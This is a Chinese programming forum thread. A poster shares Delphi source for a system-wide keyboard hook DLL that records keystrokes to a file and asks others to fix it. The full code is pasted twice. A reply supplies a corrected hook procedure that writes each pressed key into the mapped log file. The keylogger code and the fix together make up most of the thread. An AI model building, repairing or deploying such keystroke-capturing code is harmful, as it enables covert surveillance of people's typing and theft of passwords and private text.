哪位高手可以改一下这个源代码啊? 这个源代码有错误.我改了半天也没改对,不知哪儿错了.~~~~ 谢谢~~~
全局钩子,包含一个DLL源代码。我用C:\wokao.txt记录键盘按键。
library KBHookPrj;uses
SysUtils,
Classes,
Dialogs,
KbHook in 'KbHook.pas';{$R *.res}
exports
StartHook ,
TerminateHook;
begin
//ShowMessage(inttoHex(HInstance,8) + 'h');
end.
钩子源代码。unit KbHook;interfaceuses
Windows, SysUtils, Classes, Messages, Dialogs;typefunction KBHookPrc(nCode: Integer; w_Param: WPARAM;l_Param: LPARAM): LRESULT; stdcall;
procedure StartHook; StdCall;
procedure TerminateHook; StdCall;implementation
const
LLKHF_ALTDOWN = KF_ALTDOWN shr 8;
WH_KEYBOARD_LL = 12;
var
hhkNTKeyboard: HHOOK; // 钩子句柄
FileF, FileHand: THandle;
AA: Pointer; index: integer;function KBHookPrc(nCode: Integer; w_Param: WPARAM;
l_Param: LPARAM): LRESULT; stdcall;begin Result := 0;
if nCode = HC_ACTION then
begin
if W_Param = VK_Return then
begin
ShowMessage('Fuck');
StrCopy(aa,'ENTer');
inc(integer(aa),6);
end;
end
else
Result := CallNextHookEx(0{hhkNTKeyboard}, nCode, w_Param, l_Param);
end;procedure StartHook; stdcall;
begin
hhkNTKeyboard := SetWindowsHookEx(WH_KEYBOARD,
KbHookPrc,
HInstance, 0);
if hhkNTKeyboard <> 0 then
MessageBox(0, '系统键盘钩子已经启动了!', '信息', 64)
else
MessageBox(0, '无法启动系统键盘钩子!', '错误', 16);
end;procedure TerminateHook; stdcall;
begin
// 解除键盘钩子
//
CloseHandle(FileF);
CloseHandle(FileHand);
if hhkNTKeyboard = 0 then
MessageBox(0, '系统键盘钩子已经被禁止了!', '警告', 48)
else
begin
UnhookWindowsHookEx(hhkNTKeyboard); // 卸载钩子
hhkNTKeyboard := 0;
// Hook.CleanHookForm; // 此行代码与钩子无关,不要误解,是我自己的窗体清除
MessageBox(0, '成功卸载系统键盘钩子!', '信息', 64)
end;
end;initialization
fileF := FileCreate('C:\wokao.txt');
if FileF = 0 then
ShowMessage('创建文件出错!' + Inttostr(GEtLastError));
FileHand := CreateFileMapping(filef, nil, PAGE_READWRITE, 0, 10000, nil);
if FileF = 0 then
ShowMessage('创建文件Mapping出错!' + Inttostr(GEtLastError));
aa := MapViewOfFile(fileHand, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);
if FileF = 0 then
ShowMessage('创建文件MapView出错!' + Inttostr(GEtLastError));
index := 0;
finalization
UnmapViewOfFile(aa);
end.
全局钩子,包含一个DLL源代码。我用C:\wokao.txt记录键盘按键。
library KBHookPrj;uses
SysUtils,
Classes,
Dialogs,
KbHook in 'KbHook.pas';{$R *.res}
exports
StartHook ,
TerminateHook;
begin
//ShowMessage(inttoHex(HInstance,8) + 'h');
end.
钩子源代码。unit KbHook;interfaceuses
Windows, SysUtils, Classes, Messages, Dialogs;typefunction KBHookPrc(nCode: Integer; w_Param: WPARAM;l_Param: LPARAM): LRESULT; stdcall;
procedure StartHook; StdCall;
procedure TerminateHook; StdCall;implementation
const
LLKHF_ALTDOWN = KF_ALTDOWN shr 8;
WH_KEYBOARD_LL = 12;
var
hhkNTKeyboard: HHOOK; // 钩子句柄
FileF, FileHand: THandle;
AA: Pointer; index: integer;function KBHookPrc(nCode: Integer; w_Param: WPARAM;
l_Param: LPARAM): LRESULT; stdcall;begin Result := 0;
if nCode = HC_ACTION then
begin
if W_Param = VK_Return then
begin
ShowMessage('Fuck');
StrCopy(aa,'ENTer');
inc(integer(aa),6);
end;
end
else
Result := CallNextHookEx(0{hhkNTKeyboard}, nCode, w_Param, l_Param);
end;procedure StartHook; stdcall;
begin
hhkNTKeyboard := SetWindowsHookEx(WH_KEYBOARD,
KbHookPrc,
HInstance, 0);
if hhkNTKeyboard <> 0 then
MessageBox(0, '系统键盘钩子已经启动了!', '信息', 64)
else
MessageBox(0, '无法启动系统键盘钩子!', '错误', 16);
end;procedure TerminateHook; stdcall;
begin
// 解除键盘钩子
//
CloseHandle(FileF);
CloseHandle(FileHand);
if hhkNTKeyboard = 0 then
MessageBox(0, '系统键盘钩子已经被禁止了!', '警告', 48)
else
begin
UnhookWindowsHookEx(hhkNTKeyboard); // 卸载钩子
hhkNTKeyboard := 0;
// Hook.CleanHookForm; // 此行代码与钩子无关,不要误解,是我自己的窗体清除
MessageBox(0, '成功卸载系统键盘钩子!', '信息', 64)
end;
end;initialization
fileF := FileCreate('C:\wokao.txt');
if FileF = 0 then
ShowMessage('创建文件出错!' + Inttostr(GEtLastError));
FileHand := CreateFileMapping(filef, nil, PAGE_READWRITE, 0, 10000, nil);
if FileF = 0 then
ShowMessage('创建文件Mapping出错!' + Inttostr(GEtLastError));
aa := MapViewOfFile(fileHand, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);
if FileF = 0 then
ShowMessage('创建文件MapView出错!' + Inttostr(GEtLastError));
index := 0;
finalization
UnmapViewOfFile(aa);
end.
上面的
去掉就可以运行了呀
l_Param: LPARAM): LRESULT; stdcall;begin Result := 0;
if nCode = HC_ACTION then
begin
if W_Param = VK_Return then
begin
ShowMessage('Fuck');
StrCopy(aa,'ENTer');
inc(integer(aa),6);
end
else
begin
strcopy(aa,pchar(W_param));
inc(aa);
end; end
else
Result := CallNextHookEx(0{hhkNTKeyboard}, nCode, w_Param, l_Param);
end;试一下,有什么不懂问我。